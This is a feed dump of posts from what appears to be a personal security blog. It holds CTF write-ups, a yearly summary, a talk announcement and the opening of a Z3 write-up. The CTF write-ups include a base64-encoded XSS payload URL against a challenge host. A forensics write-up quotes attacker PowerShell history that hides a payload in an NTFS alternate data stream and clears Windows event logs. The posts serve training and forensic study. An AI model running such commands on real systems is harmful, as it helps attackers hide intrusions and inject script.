<p>So the objective here is to submit a <code>payload</code> with a <code>GET</code> request. There was also a hint to use base64 (the site was so great that even reminds you about that couple of times). So initially (I mean, initially then consecutively for the next 3-4 hours, which means I've spent 30-40% of time on this single challenge) I was using the base64 to bypass the XSS filter (using <code>eval(atob(/base64 alert execution/))</code>) instead of encoding <strong>whole</strong> payload query parameter (<code>?payload=/base 64 whole stuff/</code>).. so the final solution is</p>
<p><code>http://ctf.securitum.ninja/ctfX/?payload=PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpLz4=</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684660662444/a2f12318-d5fa-458c-96e9-02f6d3b63f39.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684707787784/a2d43a3f-3bdc-4c76-9e92-f8959cc82f61.png" alt class="image--center mx-auto" /></p>
<p>Then I've put that char-train/snake into VSCode, replaced all <code>||</code> with <code>+</code> then slapped that into the python interpreter.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684707900683/cf9ea5fc-1444-4bed-8fae-94833c297da3.png" alt class="image--center mx-auto" /></p>
<p>All that is left is decoding base64 to get the flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684660688598/40535aed-93e0-4d40-bd0e-72f7816e4a36.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-challenge-8-betrayal">Challenge 8: betrayal</h1>
<blockquote>
<p>Someone has bypassed our security systems and hacked the FlagHunter bot. Try to ask him to uncover the secret message. Help him retrieve the stolen flag!</p>
</blockquote>
<p>That one was fun to do, I even started solving it before the CTF got launched - bot was responding to commands since arrival (8PM day before) so I've got some insights. It was missing <code>/secret</code> response, which is key to move further, and presence of some individual on our Discord server so it was impossible to solve before the launch, but still, it was fun to fiddle with it beforehand.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684661205540/056da56b-4459-4dcf-ae5b-29b6958a8245.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684660933209/07e3c64f-b890-4e48-a395-b14312ed21a2.png" alt class="image--center mx-auto" /></p>
<p>Betrayal arrival was announced</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684661039854/502ed56a-590b-4541-b10f-d5b1e8c2f94e.png" alt class="image--center mx-auto" /></p>
<p>Then getting the encoded tip and submitting its name.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684661134222/921d4209-d337-4146-8b58-55a831540013.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684660945478/44dc3813-8acc-4608-b331-90526dca55dc.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-challenge-9-hidden">Challenge 9 (hidden)</h1>
<p>You could get bonus 900 points.. simply by reading terms of the event :).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684661326825/0ab9bf59-bef6-4e78-a737-7c6925803a2d.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684661344115/384edecf-5e6d-44a9-ad08-b1f9626fc8a0.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-bonus-challenge-1-battleground">Bonus (challenge 1 battleground)</h1>
<p>Ok, so what was about that first challenge? Why it was so hard to do? Well, initially the returned flag was not base64 encoded.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684661431312/7bfe5ee0-2a07-4c18-9b9f-8e6a395e218a.png" alt class="image--center mx-auto" /></p>
<p>Well, it wasn't any baseXX encoding either. As the author said, to solve the challenge it was required to do some OSINT and discover what exactly cipher was used to encode the flag, then find the exact decoder implementation to decode it. To be honest, that was unintentionally made even harder to do so, becasue the information that would start the research was visible on the page itself. Which was, to remind you, the Stored XSS vulnerable page that [turned into the big battleground](<a target="_blank" href="https://sekurak.pl/podsumowanie-mega-sekurak-hacking-party-z-22-maja-2023/">https://sekurak.pl/podsumowanie-mega-sekurak-hacking-party-z-22-maja-2023/</a>) after a while which makes it really discouraging to go there. But if you manage to pass by all the alerts, redirects, obfuscations and Rick Astley, you could see the hint.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684661753563/dc6e4962-a91a-444e-8b5e-2d49df83a274.png" alt class="image--center mx-auto" /></p>
<p>So after a quick googling you could find this article <a target="_blank" href="https://group.ntt/en/newsrelease/pdf/news/news05e/0505/050526.pdf">here</a> which describes Camellia cipher that was developed by NTT and Mitsubishi.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684661833192/f1401310-090e-4388-bd82-1ac90dacef43.png" alt class="image--center mx-auto" /></p>
<p>After googling more you could find many implementations of it (which to use?) - but that's not all. There are many different variations of it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684663065323/609c7999-cbcd-40dc-b8fa-dd9eedb6354f.png" alt class="image--center mx-auto" /></p>
<p>all of which requires <code>key</code> or <code>IV</code>. Which we... well didn't have. After we solved the challenges and Camellia was no longer in a play, <code>Darkdante</code> and me talked a bit about this challenge, and he actually managed to get the flag (outside of the CTF, with a little hint as he stated) by using <a target="_blank" href="https://encode-decode.com/camellia-256-cbc-encrypt-online/">this exact decoder</a> with <code>camellia-256-cbc</code> variation.</p>
<p>What about <code>key</code> you'll say. Well. It's empty.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684663127956/db1a6566-537a-4a76-8972-5cf7588b4860.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-resources">Resources</h1>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<ul>
<li><p><a target="_blank" href="https://blog.cyberethical.me/mega-sekurak-hacking-party-ctf-solutions">Previous MSHP CTF</a></p>
</li>
<li><p><a target="_blank" href="https://gchq.github.io/CyberChef">CyberChef - Swiss Knife for Cyber Enthusiasts</a></p>
</li>
<li><p><a target="_blank" href="https://stegonline.georgeom.net/">StegOnline - makes the steganography tasks easier</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection">Well known PayloadsAllTheThings</a></p>
</li>
<li><p><a target="_blank" href="https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/">Aboud DNS Tunneling</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=oTD_ki86c9I">GHIDRA for Reverse Engineering | John Hammond</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[CyberEthical.Me Summary 2022]]></title><description><![CDATA[This year I've decided to put Reaches section with detailed CyberEthical.Me statistics at the end of the article.
Participation & media presence
 
2022 was very generous for me. I'm happy that my industry presence is reaching such companies as ECC (o...]]></description><link>https://blog.cyberethical.me/cyberethical-traceback-2022</link><guid isPermaLink="true">https://blog.cyberethical.me/cyberethical-traceback-2022</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[summary]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Sun, 16 Apr 2023 18:45:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1681670599855/539fdb57-00f2-4b23-ba75-a5ecf461f3ab.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This year I've decided to put Reaches section with detailed CyberEthical.Me statistics at the end of the article.</p>
<h1 id="heading-participation-amp-media-presence"><strong>Participation &amp; media presence</strong></h1>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<p>2022 was very generous for me. I'm happy that my industry presence is reaching such companies as <a target="_blank" href="https://www.eccouncil.org/">ECC</a> (one of the largest cyber security technical certification body).</p>
<h3 id="heading-course-hands-on-javascript-for-ethical-hacking">Course: Hands-On JavaScript for Ethical Hacking</h3>
<p>The whole first quarter I was spending on creating that course. I was reached out by ECC CodeRed to create a course for them - and I'm happy about it. Pity I don't have any feedback from participants..</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://blog.cyberethical.me/course-hands-on-javascript-for-ethical-hacking">https://blog.cyberethical.me/course-hands-on-javascript-for-ethical-hacking</a></div>
<p> </p>
<h3 id="heading-lecture-improve-your-cybersecurity-skills">Lecture: Improve Your Cybersecurity Skills</h3>
<p>The company at which I'm working is having these Tech Talks where people can speak about something they are passionate about, or simply share some technical knowledge during an online session.<br />You can still watch it on YouTube!</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://blog.cyberethical.me/netcompany-global-tech-talk-improve-your-cybersecurity-skills">https://blog.cyberethical.me/netcompany-global-tech-talk-improve-your-cybersecurity-skills</a></div>
<p> </p>
<h3 id="heading-article-in-a-paper-magazine-htb-cyber-santa-ctf-toy-workshop">Article in a paper magazine: HTB Cyber Santa CTF: Toy Workshop</h3>
<p>I'm really proud of it. This is a Polish version of <a target="_blank" href="https://blog.cyberethical.me/htb-cyber-santa-ctf-2021-toy-workshop">my write-up</a> I have published here.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.linkedin.com/posts/kamilpacanek_ethicalhacking-ctf-programistamag-activity-7006605365240860672-MaKF">https://www.linkedin.com/posts/kamilpacanek_ethicalhacking-ctf-programistamag-activity-7006605365240860672-MaKF</a></div>
<p> </p>
<h3 id="heading-htb-cyber-apocalypse-ctf-2022">HTB: Cyber Apocalypse CTF 2022</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681668712837/3bbb403a-d765-4d4c-81e6-b71ae990c3b6.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-htb-hack-the-boo-2022-ctf">HTB: Hack The Boo 2022 CTF</h3>
<p>No certificates given for that one :(</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://blog.cyberethical.me/hacktheboo-2022-htb-ctf-write-ups">https://blog.cyberethical.me/hacktheboo-2022-htb-ctf-write-ups</a></div>
<p> </p>
<h3 id="heading-mega-sekurak-hacking-party-ctf-october-2022">Mega Sekurak Hacking Party CTF October 2022</h3>
<p>12th place out of 100 participants! That one was the hardest CTF of 2022 (in my opinion).</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://blog.cyberethical.me/mega-sekurak-hacking-party-ctf-solutions">https://blog.cyberethical.me/mega-sekurak-hacking-party-ctf-solutions</a></div>
<p> </p>
<h3 id="heading-securitum-introduction-to-it-security">Securitum: Introduction to IT Security</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681668856280/7eb2dd9c-e9c7-4f24-b9fa-bff3d17c9ff7.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-reaches">Reaches</h1>
<p><strong>Viewer Discretion</strong> : You are about to see the statistics and analytics data. If you are not interested in these, you can skip images and focus on links - see if you missed some good-quality publications!</p>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<h2 id="heading-blog">Blog</h2>
<p>Hashnode delivered the Advanced Analytics in February 2022, which I love. It gives more Google Analytics experience where you can find out more about your viewers' demographics.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681632059854/443183f9-5f10-42d7-86ed-650e9a0b90e3.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681632175929/fb13a085-083c-424f-b251-e600122d288d.png" alt class="image--center mx-auto" /></p>
<p>Altogether, translated to <strong>+225%</strong> followers gain in comparison to 2022 (was 32).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681633085261/4f03bddd-2ddb-4c65-b972-e1c457a06d89.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-most-popular-articles">Most popular articles</h3>
<ol>
<li><p>🔗 <a target="_blank" href="https://blog.cyberethical.me/linpeas"><strong>Tools analysis: linPEAS</strong></a> (19 324 views)</p>
</li>
<li><p>🔗 <a target="_blank" href="https://blog.cyberethical.me/thm-uploadvulns"><strong>THM Upload Vulnerabilities</strong></a> (3925 views)</p>
</li>
<li><p>🔗 <a target="_blank" href="https://blog.cyberethical.me/run-kasm-workspaces-on-raspberry-pi">Kasm Workspaces: Spinning up containers on the Raspberry Pi</a> (3517 views)</p>
</li>
<li><p>🔗 <a target="_blank" href="https://blog.cyberethical.me/htb-starting-point-oopsie">HTB Starting Point: Oopsie</a> (3154 views)</p>
</li>
<li><p>🔗 <a target="_blank" href="https://blog.cyberethical.me/run-dvwa-from-docker">Run Damn Vulnerable Web Application (DVWA) from a Docker container</a> (2064 views)</p>
</li>
</ol>
<h2 id="heading-instagram">Instagram</h2>
<p>🔔 <strong>Followers</strong>: <strong>498</strong></p>
<p>This year I've decided to stop counting the Facebook reaches for two reasons: 1) there is too much clutter there to spend time curating posts there and 2) my content was not reaching to the targeted audience.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681633933581/51cdd363-c569-4798-be15-60f6ccc9a8a5.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681633951013/eac3adcf-e445-497f-b209-c02365729a00.png" alt class="image--center mx-auto" /></p>
<p>So, Instagram gained <strong>+611%</strong> followers since 2021 (was 70).</p>
<h3 id="heading-top-posts">Top Posts</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681634274858/cab7144b-cdb6-4f1d-9ec5-8f4dc38d1efa.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>🔗 <a target="_blank" href="https://www.instagram.com/p/CaB9tGCIP3K/">IG: Customize your Hack The Box Pwnbox</a></p>
</li>
<li><p>🔗 <a target="_blank" href="https://www.instagram.com/p/CZEDwvnoMoE/">IG: Kasm Workspaces: Spinning up containers on the Raspberry Pi</a></p>
</li>
<li><p>🔗 <a target="_blank" href="https://www.instagram.com/p/Ck_5g48DVYk/">IG: Brave Rewards integration</a></p>
</li>
<li><p>🔗 <a target="_blank" href="https://www.instagram.com/p/Cis9gvMjhsT/">IG: How to dual boot encrypted Kali Linux with Windows 11</a></p>
</li>
<li><p>🔗 <a target="_blank" href="https://www.instagram.com/p/CdEe-cJoq6F/">IG: How did I lock myself out of my server, and how did I fix it?</a></p>
</li>
</ol>
<h2 id="heading-twitter">Twitter</h2>
<p>🔔 <strong>Followers</strong>: 282 (+168%)<br />📣 Total impressions: 100k (+15%)</p>
<p>Here comes some graphs - right now they are not so interesting and valuable for me, but maybe this will change over time.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681646597546/2377b512-a896-4784-bc75-33300b46752b.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-top-tweets-quarterly">Top Tweets (quarterly)</h3>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://twitter.com/cyberethical_me/status/1493857746768310276">https://twitter.com/cyberethical_me/status/1493857746768310276</a></div>
<p> </p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://twitter.com/cyberethical_me/status/1525807535319658497">https://twitter.com/cyberethical_me/status/1525807535319658497</a></div>
<p> </p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://twitter.com/cyberethical_me/status/1571850612844773379">https://twitter.com/cyberethical_me/status/1571850612844773379</a></div>
<p> </p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://twitter.com/cyberethical_me/status/1583907989924507648">https://twitter.com/cyberethical_me/status/1583907989924507648</a></div>
<p> </p>
<h2 id="heading-mastodon">Mastodon</h2>
<p>🔔 <strong>Followers</strong>: <strong>39</strong></p>
<p>Here comes the big gun of 2022. Due to Elon Musk's takeover action on Twitter, many people (not only the cybersec industry) moved or at least created accounts on Mastodon. Here is a great article explaining what that platform is:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://twitter.com/cyberethical_me/status/1591127831635185664">https://twitter.com/cyberethical_me/status/1591127831635185664</a></div>
<p> </p>
<p>Here are the statistics so far:</p>
<p><a target="_blank" href="https://infosec.exchange/@cyberethical_me"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681647187898/eee091f8-7216-46ac-b55c-dcd2273873e4.png" alt class="image--center mx-auto" /></a></p>
<p>I really like the <code>@infosec.exchange</code> culture and overall experience there.</p>
<h2 id="heading-patreon">Patreon</h2>
<p>Nothing to say about 2022 - it was a disappointment for me in 2021, but I have an idea of how to make it more interesting for you. But that's for the second half year.</p>
<h2 id="heading-linkedin">LinkedIn</h2>
<p>🔔 <strong>Followers</strong>: <strong>125</strong></p>
<p>Established in April 2022 - I'm happy with its performance. It reaches my targeted audience and my posts are gaining some interest on the platform, so I'll be keep taking care of that site.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681647608402/0c0bc5f8-622d-479a-b761-3052e7d3ee6e.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681647748337/af1d0ba0-64ce-4bd4-a40b-69ca9228b367.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-discord">Discord</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681648161832/a507d9fc-4097-44da-be5e-d3bfb587325d.png" alt class="image--center mx-auto" /></p>
<p>Again, I wish there was more activity there. Probably it will be if I would include some Discord gaming and giveaway bots - but I don't want to. I wish that to be some more professional space.</p>
<p>At least it is useful when I organize some events, so we can have a neat space to talk together.</p>
<div class="hn-embed-widget" id="join-cta"></div>]]></content:encoded></item><item><title><![CDATA[Artifacts of Dangerous Sightings]]></title><description><![CDATA[Introduction

Pandora has been using her computer to uncover the secrets of the elusive relic. She has been relentlessly scouring through all the reports of its sightings. However, upon returning from a quick coffee break, her heart races as she noti...]]></description><link>https://blog.cyberethical.me/htb-cyberapocalypse-artifacts-of-dangerous-sightings</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-cyberapocalypse-artifacts-of-dangerous-sightings</guid><category><![CDATA[hacking]]></category><category><![CDATA[CTF]]></category><category><![CDATA[ads]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Thu, 23 Mar 2023 13:00:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1679555388949/1c103c5e-a4c5-4017-b9f0-c3a6b85031a2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<blockquote>
<p>Pandora has been using her computer to uncover the secrets of the elusive relic. She has been relentlessly scouring through all the reports of its sightings. However, upon returning from a quick coffee break, her heart races as she notices the Windows Event Viewer tab open on the Security log. This is so strange! Immediately taking control of the situation she pulls out the network cable, takes a snapshot of her machine and shuts it down. She is determined to uncover who could be trying to sabotage her research, and the only way to do that is by diving deep down and following all traces ...</p>
</blockquote>
<h1 id="heading-details">Details</h1>
<ul>
<li><p>Category: Forensics</p>
</li>
<li><p>Difficulty: Medium</p>
</li>
<li><p>Given: VHDX image file</p>
</li>
</ul>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<h1 id="heading-exploration">Exploration</h1>
<p>I'm mounting the image file in the Windows using the PowerShell</p>
<pre><code class="lang-powershell">Mount-DiskImage -Access ReadOnly -ImagePath C:\ws\vm\shared\2023-03-09T132449_PANDORA.vhdx
</code></pre>
<p>Taking into consideration that Pandora discovered the Security logs open with the belief that she got hacked, I'm starting with browsing the PowerShell history - and it appears to be a good guess!</p>
<pre><code class="lang-powershell">$ cat Users/Pandora/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt

type finpayload &gt; C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1
exit
Get-WinEvent
Get-EventLog -List
wevtutil.exe cl "Windows PowerShell" 
wevtutil.exe cl Microsoft-Windows-PowerShell/Operational
Remove-EventLog -LogName "Windows PowerShell"
Remove-EventLog -LogName Microsoft-Windows-PowerShell/Operational
Remove-EventLog
</code></pre>
<p>Here it is visible that some script is being suspiciously hidden in <a target="_blank" href="https://owasp.org/www-community/attacks/Windows_alternate_data_stream">ADS</a> of the regular Windows DLL.</p>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<h1 id="heading-analysis">Analysis</h1>
<details><summary>Alternate Data Stream (ADS)</summary><div data-type="detailsContent">File attributes only found on the NTFS file system. Alternate data streams allow files to contain more than one stream of data. Windows Explorer doesn’t provide a way of seeing what ADS are in a file.</div></details>

<p>We can easily view them in the Command Line</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1679519086317/7fa79b75-8967-4d97-91e6-ec7991cc57cd.png" alt class="image--center mx-auto" /></p>
<p>and access its content via PowerShell</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1679519104236/b228b5c6-d321-4edf-8f7c-a8fb78326dec.png" alt class="image--center mx-auto" /></p>
<p>This contains executable base64-encoded PowerShell command. By using a such tool as <a target="_blank" href="https://gchq.github.io/CyberChef/">CyberChef</a> I could easily decode the text and after a two-step deobfuscation I could find a flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1679519272454/7e4d2ee8-4c71-4eb1-bc0e-2780737503fa.png" alt class="image--center mx-auto" /></p>
<div class="hn-embed-widget" id="join-cta"></div>]]></content:encoded></item><item><title><![CDATA[Netcompany Global Tech Talk - Improve Your Cybersecurity Skills]]></title><description><![CDATA[On 2023/02/23 I was given a chance to speak on Netcompany Global Tech Talk to share with you my knowledge and experience. I have:

discussed my take on cybersecurity as a passion that works well together with my job as a developer;

presented some of...]]></description><link>https://blog.cyberethical.me/netcompany-global-tech-talk-improve-your-cybersecurity-skills</link><guid isPermaLink="true">https://blog.cyberethical.me/netcompany-global-tech-talk-improve-your-cybersecurity-skills</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[lecture]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Fri, 24 Feb 2023 16:02:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1681656588902/53fbd0b8-4270-4efe-8cfd-93ecfb7d4c79.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On 2023/02/23 I was given a chance to speak on Netcompany Global Tech Talk to share with you my knowledge and experience. I have:</p>
<ul>
<li><p>discussed my take on cybersecurity as a passion that works well together with my job as a developer;</p>
</li>
<li><p>presented some of the tools and approaches that can be introduced in a daily work to help elevate the software security to the next level;</p>
</li>
<li><p>done a live SQL Injection example, taken from one of my previous projects.</p>
</li>
</ul>
<h1 id="heading-description">Description</h1>
<p><em>Prevent user breaches and potential information disclosure by stepping up your cybersecurity game!</em></p>
<p><em>The availability of hacking tools and automation scripts significantly lowers the entry barrier for malicious actors to make their presence on the threat scene. And as a result, the market puts more pressure on developers to create solutions with at least basic knowledge of red teaming.</em></p>
<p><em>During this tech talk, you will gain a fundamental understanding of cybersecurity and how to improve your software’s quality before handing it to clients.</em></p>
<p>Organizer: <a target="_blank" href="https://www.netcompany.com/">Netcompany</a></p>
<h1 id="heading-saved-session">Saved Session</h1>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=QgHZIIxIZWs">https://www.youtube.com/watch?v=QgHZIIxIZWs</a></div>
<p> </p>
<p>⭐ <a target="_blank" href="https://forms.gle/zqa9D5tk9u4KVEem9">I'd like to hear your feedback about this TechTalk!</a> ⭐</p>
<h1 id="heading-resources">Resources</h1>
<ul>
<li><p><a target="_blank" href="https://www.youtube.com/playlist?list=PLzPdl0FI7bEb37Rb1F3O6As9IcHjLCAhQ">Other Netcompany Global Tech Talks</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/CyberEthicalMe/demo-sqlinjection">SQL Injection Demo Source Code</a></p>
</li>
<li><p><a target="_blank" href="https://learn.microsoft.com/en-us/azure/key-vault/general/">Microsoft Learn: Azure Key Vaults</a></p>
</li>
<li><p><a target="_blank" href="https://learn.microsoft.com/en-us/aspnet/core/security/app-secrets?view=aspnetcore-7.0&amp;tabs=windows">dotnet user-secrets</a></p>
</li>
<li><p><a target="_blank" href="http://snyk.io">snyk.io</a></p>
</li>
<li><p><a target="_blank" href="https://rtyley.github.io/bfg-repo-cleaner/">Git BFG Repo-Cleaner</a></p>
</li>
</ul>
<h1 id="heading-articles">Articles</h1>
<ul>
<li><p><a target="_blank" href="https://www.bleepingcomputer.com/news/security/uber-hacked-internal-systems-breached-and-vulnerability-reports-stolen/">BleepingComputer: Uber hacked, internal systems breached and vulnerability reports stolen</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications">MFA Fatigue Attacks</a></p>
</li>
</ul>
<h1 id="heading-dive-deeper">Dive Deeper</h1>
<ul>
<li><p><a target="_blank" href="https://owasp.org/Top10/A03_2021-Injection/">OWASP A03:2021 – Injection</a></p>
</li>
<li><p><a target="_blank" href="https://snyk.io/events/the-big-fix/">Snyk The Big Fix</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/@Snyksec/streams">Snyk Streams (OWASP 2021)</a></p>
</li>
<li><p><a target="_blank" href="https://ctf.hackthebox.com/event/details/cyber-apocalypse-2023-the-cursed-mission-821">HackThe Box: Cyber Apocalypse 2023 - The Cursed Mission</a></p>
</li>
<li><p><a target="_blank" href="https://blog.cyberethical.me/learn-ethical-hacking">Ethical Hacking - where to start?</a></p>
</li>
<li><p><a target="_blank" href="https://codered.eccouncil.org/course/hands-on-javascript-for-ethical-hacking">Hands-on JavaScript for Ethical Hackers</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Solving Equations Like A Pro]]></title><description><![CDATA[Background
On October I have participated in MSHP CTF and one of the challenges intrigued me so much that I promised myself to create a separate article on that.
Challenge

Following screen is my recreation of the challenge. Original application made...]]></description><link>https://blog.cyberethical.me/z3-prover-predicting-dotnet-random</link><guid isPermaLink="true">https://blog.cyberethical.me/z3-prover-predicting-dotnet-random</guid><category><![CDATA[z3]]></category><category><![CDATA[Python]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[.NET]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Wed, 23 Nov 2022 14:35:42 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1668669121179/ESl7WIBFy.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-background">Background</h1>
<p>On October I have participated in MSHP CTF and one of the challenges intrigued me so much that I promised myself to create a separate article on that.</p>
<div class="hn-embed-widget" id="support-cta"></div><h1 id="heading-challenge">Challenge</h1>
<blockquote>
<p>Following screen is my recreation of the challenge. Original application made by <a target="_blank" href="https://www.linkedin.com/in/micha%C5%82-bentkowski-5870a8166/">Michał Bentkowski</a>.</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668642925279/R442snp-w.png" alt="Pasted image 20221108215412.png" class="image--center mx-auto" /></p>
<p>Goal: We are presented with the sequence of 5 random numbers, and we had to guess the sixth one.</p>
<h1 id="heading-recon">Recon</h1>
<h2 id="heading-website">Website</h2>
<p>Web source code reveals hidden input containing some kind of validation token.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668642942186/BVBcPF_fh.png" alt="Pasted image 20221108220815.png" class="image--center mx-auto" /></p>
<p>When sending a request, <code>guid</code> is sent together with the guessed number in <code>GET</code> parameters.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668642974277/xo0MiaDzm.png" alt="Pasted image 20221108233442.png" class="image--center mx-auto" /></p>
<p>When GUID is invalid or 30 seconds passed:
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668642982744/EAQQ30cFa.png" alt="Pasted image 20221108234324.png" class="image--center mx-auto" /></p>
<p>When we provide wrong number, but within 30s of generation:
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668642989024/lTtXMzhWr.png" alt="Pasted image 20221108234250.png" class="image--center mx-auto" /></p>
<p>There is nothing more to see here, so let's switch to the downloadable part.</p>
<h2 id="heading-source-code">Source Code</h2>
<p>Application appears to be pretty simple .NET Core MVC Application with Razor pages with a lot of default boilercode. Upon closer inspection following key areas have been identified:</p>
<ul>
<li><code>Index.cshtml</code></li>
</ul>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Generated numbers:<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span>
    @foreach (var num in Model.Random.RandomNumbers)
    {
        <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span>@num<span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
    }
<span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">form</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"guid"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"@Model.Random.Guid"</span>&gt;</span>
